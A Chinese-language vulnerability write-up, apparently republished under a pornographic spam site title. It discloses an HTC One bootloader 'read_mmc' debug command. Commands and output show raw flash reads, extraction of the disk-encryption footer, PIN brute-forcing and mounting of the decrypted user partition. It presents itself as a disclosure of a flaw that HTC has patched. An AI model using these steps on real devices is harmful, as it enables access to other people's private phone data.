亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

利用HTC One漏洞破解手機PIN密碼

  HTC One手機運行的是Android 4.2.2、HBOOT 1.54.0000,它存在一個名為Bootloader的漏洞。這個漏洞早在2014年2月份就報告給了HTC官方,并在次月就修復了該漏洞。在得到HTC官方同意后,我們現在就將整個漏洞利用測試過程發布出來。

  read_emmc命令在2011發布的HTC DesireZ手機中也曾出現過。這個命令允許攻擊者訪問手機內存,并可能獲取短信、聯系人等敏感信息。

  此外,這條命令允許攻擊者通過bruteforce自動獲取手機PIN/passcode。他會打開一個額外的缺口防止用戶定義易猜解的PIN/passcode(比如說就4個數字的PIN)。這是常有的事情,因為日常解鎖手機也是可以使用PIN/passcode的。

  這個攻擊僅限于HTC One手機且還得開啟全盤加密,也就是說手機由安卓加密保護。

  read_emmc命令在部分HTC手機中似乎是一個用來調試的命令。在我們看來,這條命令不應該出現在用戶手機上。

  這篇文章描述了HTC One在安卓全盤加密上的強悍安全機制(AES加密, 合理的密鑰長度, salt) 。

  訪問閃存

  將HTC One關機然后插入電腦,然后進入fastboot模式(關機狀態按住音量+鍵以及開機鍵,然后放開開機鍵),這樣我們可以從HBOOT進入fastboot模式。

  到了這里,我們就可以利用fastboot進行讀取內存操作了,命令如下:

  commandformat:

  read_mmc [emmc/sd] [start] [#blocks] [#blocks/read] [show]

  我們來看看參數的定義:

  第一個參數,告訴機器從哪里讀取。“emmc”是讀取閃存,“sd”是讀取內存卡

  #blocks: 讀取塊的數量

  #blocks/read:一次讀取塊的數量

  show:設置成1來顯示結果

  讀取第一個扇區,可以使用如下命令

  $fastboot oem read_mmc emmc 0 1 1 1

  …

  (bootloader) reading sector 0 ~ 0

  (bootloader) 0

  …

  (bootloader) 0

  (bootloader) DF

  (bootloader) FF

  (bootloader) 3

  (bootloader) 0

  (bootloader) 20

  (bootloader) E0

  (bootloader) 9F

  (bootloader) 3

  (bootloader) 55

  (bootloader) AA

  (bootloader) read sector done average = 172

  OKAY [  0.310s]

  finished. total time: 0.311s

  從頭開始看,我們可以看到許多的0(超過400字節),其結尾是“55 AA” 。

  在手機上使用ADB Shell,我們可以看到用戶的數據分區塊“mmcblk0p37”是從6422528開始的。在安卓下它與掛載的ext4分區對應

  shell@android#cat /proc/emmc

  dev:        size     erasesize name

  …

  mmcblk0p37: 680000000 00000200 "userdata"

  shell@android:# cat /sys/block/mmcblk0/mmcblk0p37/start

  6422528

  shell@android:# mount

  …

  /dev/block/mmcblk0p37 /data ext4 rw,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0

  因此,攻擊者可以使用“read_mmc” 命令,在閃存中瀏覽用戶數據分區中的內容,即使用戶設定了PIN/密碼都無法阻止。

  $fastboot oem read_mmc emmc 6422530 1 1 1

  …

  (bootloader) reading sector 6422530 ~ 6422530

  (bootloader) 0

  …

  (bootloader) 2F

  (bootloader) 64

  (bootloader) 61

  (bootloader) 74

  (bootloader) 61

  …

  (bootloader) read sector done average = 146

  OKAY [  0.359s]

  finished. total time: 0.359s

  “2F 64 61 74 61”字節序列是位于用戶數據分區開始的“/data” ASCII字符串。

  我們的第一個想法就是實現從閃存將用戶數據進行轉儲,然而這個過程需要幾天甚至是幾個月時間。

  另一個想法是利用FUSE(用戶空間的文件系統)通過USB連接電腦轉儲用戶數據。

  繞過安卓全盤加密(PDE)

  在HTC Desire Z( Android 2.x)時代還沒有出現全盤加密,我們現在考慮是否有辦法繞過PDE,使用“read_mmc”漏洞。

  ThomasCannon在2012年Defcon大會上向我們演示了PDE工作過程,使用 bruteforce破解PIN/passcode以及解密用戶扇區數據的腳本。在那個時候,他使用的是Google Nexus S純原生,與這里這個例子稍有不同。

  我們決定對設備進行加密,“存儲>手機存儲加密”。通過其方法,我們注意到出現了一個額外的分區,這個分區就是用來存儲密鑰的。

  $hexdump -C extra

  00000000  c4 b1 b5 d0 01 00 00 00  68 00 00 00 00 00 00 00 |……..h…….|

  00000010  20 00 00 00 00 00 00 00  00 00 40 03 00 00 00 00  |………@…..|

  00000020  00 00 00 00 61 65 73 2d  63 62 63 2d 65 73 73 69 |….aes-cbc-essi|

  00000030  76 3a 73 68 61 32 35 36  00 00 00 00 00 00 00 00 |v:sha256……..|

  00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |…………….|

  *

  00000060  00 00 00 00 00 00 00 00 {15 d2 9c 16 1c 54 40 1c |………….T@.|

  00000070  b4 c1 e4 91 69 10 4b 55  2e 47 64 31 13 52 ad 2d |….i.KU.Gd1.R.-|

  00000080  bd 8c 42 8e d6 c4 84 00} 00 00 00 00 00 00 00 00 |..B………….|

  00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |…………….|

  000000a0  00 00 00 00 00 00 00 00 [c7 1f 34 80 97 09 fd 39 |……….4….9|

  000000b0  0b 4a 91 d9 d9 d8 00 cd] 00 00 00 00 00 00 00 00 |.J…………..|

  000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 |…………….|

  *

  00000200

  Note: 對主密鑰及內部數據解密,推薦大家看看Thomas的幻燈片。

  我們正好處于加密頭的位置,于是我可以很快得到

  shell@android#cat /proc/emmc

  dev:        size     erasesize name

  …

  mmcblk0p27: 00010000 00000200 "extra"

  shell@android:# cat /sys/block/mmcblk0/mmcblk0p27/start

  586799

  然后,我們可以再次確認用戶數據分區被加密。第一個字節告訴我們,“This is an encrypted device:)”,這僅僅是在HTC One中才有的。他之所以能這么寫,是因為在默認的ext4分區中第一個字節并沒有使用,其他字節都是隨機字節。

  shell@android:#./busybox hexdump -C /dev/block/mmcblk0p37 -n 64

  00000000  54 68 69 73 20 69 73 20  61 6e 20 65 6e 63 72 79 |This is an encry|

  00000010  70 74 65 64 20 64 65 76  69 63 65 3a 29 6f c3 a0 |pted device:)o..|

  00000020  26 bc 76 ed a8 77 ef 6a  95 28 32 ab 24 ce 8d 58 |&.v..w.j.(2.$..X|

  00000030  91 fe 8e 14 9e 81 05 a4  28 65 64 3c 1b e2 11 56 |……..(ed<…V|

  00000040

  接著,我們可以確定能夠訪問這個頭,使用fastboot 中“read_mmc” 命令對用戶數據分區進行加密

  $fastboot oem read_mmc emmc 586799 1 1 1

  由此,我們可以編寫一個小腳本來讀取PDE頭,用戶數據分區的第一個扇區然后通過電腦進行破解。

  #python bruteforce_htcone_over_reademmc.py

  oem read_mmc emmc 6422528 1 1 1

  oem read_mmc emmc 586799 1 1 1

  Footer File    : extra

  Magic          : 0xD0B5B1C4

  Major Version  : 1

  Minor Version  : 0

  Footer Size    : 104 bytes

  Flags          : 0x00000000

  Key Size       : 256 bits

  Failed Decrypts: 0

  Crypto Type    : aes-cbc-essiv:sha256

  Encrypted Key  :0x15D29C161C54401CB4C1E49169104B552E4764311352AD2DBD8C428ED6C48400

  Salt           : 0xC71F34809709FD390B4A91D9D9D800CD

  —————-

  Trying to Bruteforce Password… please wait

  Found PIN!: 0000

  Saving decrypted master key to &#039;keyfile&#039;

  掛載用戶數據加密分區

  攻擊者可以通過上文輕松獲取PIN/passcode,他能正常接通電話,重寫或者創建PIN/passcode,然后開啟ADB,做他想做的任何事。

  #mkdir mnt

  # losetup /dev/loop0 userdata.img

  # cryptsetup –type plain open –c aes-cbc-essiv:sha256 –d keyfile /dev/loop0userdata

  # mount /dev/mapper/userdata mnt

  在這個例子上,我們甚至可以通過USB在電腦上執行“read_mmc” 命令。

 

上一篇:智能無懼挑戰 山石網科轟動RSA2015

下一篇:通用電氣(GE)工控交換機曝高危漏洞